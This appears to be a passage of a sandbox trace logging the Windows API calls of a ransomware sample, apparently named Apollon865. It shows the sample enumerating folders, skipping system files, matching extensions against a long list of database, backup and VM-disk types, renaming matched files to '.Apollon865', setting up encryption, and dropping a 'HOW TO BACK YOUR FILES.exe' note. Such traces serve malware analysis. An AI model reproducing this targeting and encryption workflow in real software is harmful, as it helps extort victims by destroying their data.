	[0078.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.193] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.194] CloseHandle (hObject=0xd8) returned 1
	[0078.194] CloseHandle (hObject=0x100) returned 1
	[0078.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0078.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.194] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46943050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46943050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.194] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.194] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1
	[0078.194] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1
	[0078.195] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1
	[0078.195] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1
	[0078.195] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1
	[0078.195] lstrlenW (lpString="Setup.xml") returned 9
	[0078.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0078.195] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0078.195] lstrlenW (lpString="Setup.xml") returned 9
	[0078.195] lstrlenW (lpString="Apollon865") returned 10
	[0078.195] lstrlenW (lpString=".dll") returned 4
	[0078.195] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0078.195] lstrlenW (lpString=".lnk") returned 4
	[0078.195] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0078.195] lstrlenW (lpString=".ini") returned 4
	[0078.195] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0078.195] lstrlenW (lpString=".sys") returned 4
	[0078.195] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0078.195] lstrlenW (lpString="Setup.xml") returned 9
	[0078.195] lstrlenW (lpString="bak") returned 3
	[0078.195] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.195] lstrlenW (lpString="ba_") returned 3
	[0078.195] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.195] lstrlenW (lpString="dbb") returned 3
	[0078.195] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.195] lstrlenW (lpString="vmdk") returned 4
	[0078.195] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.195] lstrlenW (lpString="rar") returned 3
	[0078.195] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.195] lstrlenW (lpString="zip") returned 3
	[0078.195] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.195] lstrlenW (lpString="tgz") returned 3
	[0078.195] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.195] lstrlenW (lpString="vbox") returned 4
	[0078.195] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.195] lstrlenW (lpString="vdi") returned 3
	[0078.195] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.195] lstrlenW (lpString="vhd") returned 3
	[0078.195] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.196] lstrlenW (lpString="vhdx") returned 4
	[0078.196] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.196] lstrlenW (lpString="avhd") returned 4
	[0078.196] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.196] lstrlenW (lpString="db") returned 2
	[0078.196] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.196] lstrlenW (lpString="db2") returned 3
	[0078.196] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.196] lstrlenW (lpString="db3") returned 3
	[0078.196] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.196] lstrlenW (lpString="dbf") returned 3
	[0078.196] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.196] lstrlenW (lpString="mdf") returned 3
	[0078.196] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.196] lstrlenW (lpString="mdb") returned 3
	[0078.196] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.196] lstrlenW (lpString="sql") returned 3
	[0078.196] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.196] lstrlenW (lpString="sqlite") returned 6
	[0078.196] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1
	[0078.196] lstrlenW (lpString="sqlite3") returned 7
	[0078.196] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1
	[0078.196] lstrlenW (lpString="sqlitedb") returned 8
	[0078.196] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1
	[0078.196] lstrlenW (lpString="xml") returned 3
	[0078.196] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.196] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0078.196] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0078.207] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1452) returned 1
	[0078.207] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfbc8
	[0078.208] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0078.209] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.209] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.209] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x10c
	[0078.210] MapViewOfFile (hFileMappingObject=0x10c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x120000
	[0078.224] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfc50) returned 1
	[0078.225] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.225] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0078.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0078.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0078.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.225] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.226] CloseHandle (hObject=0x10c) returned 1
	[0078.226] CloseHandle (hObject=0x100) returned 1
	[0078.226] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.226] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0078.226] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.226] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0078.226] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0078.226] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0078.226] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C"
	[0078.226] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0078.226] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0078.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 62
	[0078.226] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C"
	[0078.226] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.226] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.234] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.234] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x46b32230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46b32230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0078.234] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.234] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.236] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.236] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x46b32230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46b32230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.236] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.236] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.236] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.236] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.236] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46b32230, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46b32230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.236] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.236] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1
	[0078.236] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.236] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.236] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".") returned 1
	[0078.236] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="..") returned 1
	[0078.236] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="windows") returned -1
	[0078.236] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="bootmgr") returned 1
	[0078.236] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="temp") returned -1
	[0078.236] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="pagefile.sys") returned 1
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="boot") returned 1
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="ids.txt") returned 1
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="ntuser.dat") returned 1
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="perflogs") returned 1
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="MSBuild") returned 1
	[0078.237] lstrlenW (lpString="ProjectMUI.msi") returned 14
	[0078.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0078.237] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ProjectMUI.msi" | out: lpString1="ProjectMUI.msi") returned="ProjectMUI.msi"
	[0078.237] lstrlenW (lpString="ProjectMUI.msi") returned 14
	[0078.237] lstrlenW (lpString="Apollon865") returned 10
	[0078.237] lstrcmpiW (lpString1="ectMUI.msi", lpString2="Apollon865") returned 1
	[0078.237] lstrlenW (lpString=".dll") returned 4
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".dll") returned 1
	[0078.237] lstrlenW (lpString=".lnk") returned 4
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".lnk") returned 1
	[0078.237] lstrlenW (lpString=".ini") returned 4
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".ini") returned 1
	[0078.237] lstrlenW (lpString=".sys") returned 4
	[0078.237] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".sys") returned 1
	[0078.237] lstrlenW (lpString="ProjectMUI.msi") returned 14
	[0078.237] lstrlenW (lpString="bak") returned 3
	[0078.237] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.237] lstrlenW (lpString="ba_") returned 3
	[0078.237] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.237] lstrlenW (lpString="dbb") returned 3
	[0078.237] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.237] lstrlenW (lpString="vmdk") returned 4
	[0078.237] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.237] lstrlenW (lpString="rar") returned 3
	[0078.237] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.237] lstrlenW (lpString="zip") returned 3
	[0078.237] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.237] lstrlenW (lpString="tgz") returned 3
	[0078.237] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.237] lstrlenW (lpString="vbox") returned 4
	[0078.237] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.237] lstrlenW (lpString="vdi") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.238] lstrlenW (lpString="vhd") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.238] lstrlenW (lpString="vhdx") returned 4
	[0078.238] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.238] lstrlenW (lpString="avhd") returned 4
	[0078.238] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.238] lstrlenW (lpString="db") returned 2
	[0078.238] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.238] lstrlenW (lpString="db2") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.238] lstrlenW (lpString="db3") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.238] lstrlenW (lpString="dbf") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.238] lstrlenW (lpString="mdf") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.238] lstrlenW (lpString="mdb") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.238] lstrlenW (lpString="sql") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.238] lstrlenW (lpString="sqlite") returned 6
	[0078.238] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0078.238] lstrlenW (lpString="sqlite3") returned 7
	[0078.238] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0078.238] lstrlenW (lpString="sqlitedb") returned 8
	[0078.238] lstrcmpiW (lpString1="tMUI.msi", lpString2="sqlitedb") returned 1
	[0078.238] lstrlenW (lpString="xml") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.238] lstrlenW (lpString="$er") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.238] lstrlenW (lpString="4dd") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.238] lstrlenW (lpString="4dl") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.238] lstrlenW (lpString="^^^") returned 3
	[0078.238] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.239] lstrlenW (lpString="abs") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.239] lstrlenW (lpString="abx") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.239] lstrlenW (lpString="accdb") returned 5
	[0078.239] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0078.239] lstrlenW (lpString="accdc") returned 5
	[0078.239] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0078.239] lstrlenW (lpString="accde") returned 5
	[0078.239] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0078.239] lstrlenW (lpString="accdr") returned 5
	[0078.239] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0078.239] lstrlenW (lpString="accdt") returned 5
	[0078.239] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0078.239] lstrlenW (lpString="accdw") returned 5
	[0078.239] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0078.239] lstrlenW (lpString="accft") returned 5
	[0078.239] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0078.239] lstrlenW (lpString="adb") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.239] lstrlenW (lpString="adb") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.239] lstrlenW (lpString="ade") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.239] lstrlenW (lpString="adf") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.239] lstrlenW (lpString="adn") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.239] lstrlenW (lpString="adp") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.239] lstrlenW (lpString="alf") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.239] lstrlenW (lpString="ask") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.239] lstrlenW (lpString="btr") returned 3
	[0078.239] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.239] lstrlenW (lpString="cat") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.240] lstrlenW (lpString="cdb") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0078.240] lstrlenW (lpString="ckp") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.240] lstrlenW (lpString="cma") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.240] lstrlenW (lpString="cpd") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.240] lstrlenW (lpString="dacpac") returned 6
	[0078.240] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0078.240] lstrlenW (lpString="dad") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.240] lstrlenW (lpString="dadiagrams") returned 10
	[0078.240] lstrcmpiW (lpString1="ectMUI.msi", lpString2="dadiagrams") returned 1
	[0078.240] lstrlenW (lpString="daschema") returned 8
	[0078.240] lstrcmpiW (lpString1="tMUI.msi", lpString2="daschema") returned 1
	[0078.240] lstrlenW (lpString="db-journal") returned 10
	[0078.240] lstrcmpiW (lpString1="ectMUI.msi", lpString2="db-journal") returned 1
	[0078.240] lstrlenW (lpString="db-shm") returned 6
	[0078.240] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0078.240] lstrlenW (lpString="db-wal") returned 6
	[0078.240] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0078.240] lstrlenW (lpString="dbc") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.240] lstrlenW (lpString="dbs") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.240] lstrlenW (lpString="dbt") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.240] lstrlenW (lpString="dbv") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.240] lstrlenW (lpString="dbx") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.240] lstrlenW (lpString="dcb") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.240] lstrlenW (lpString="dct") returned 3
	[0078.240] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.240] lstrlenW (lpString="dcx") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0078.241] lstrlenW (lpString="ddl") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
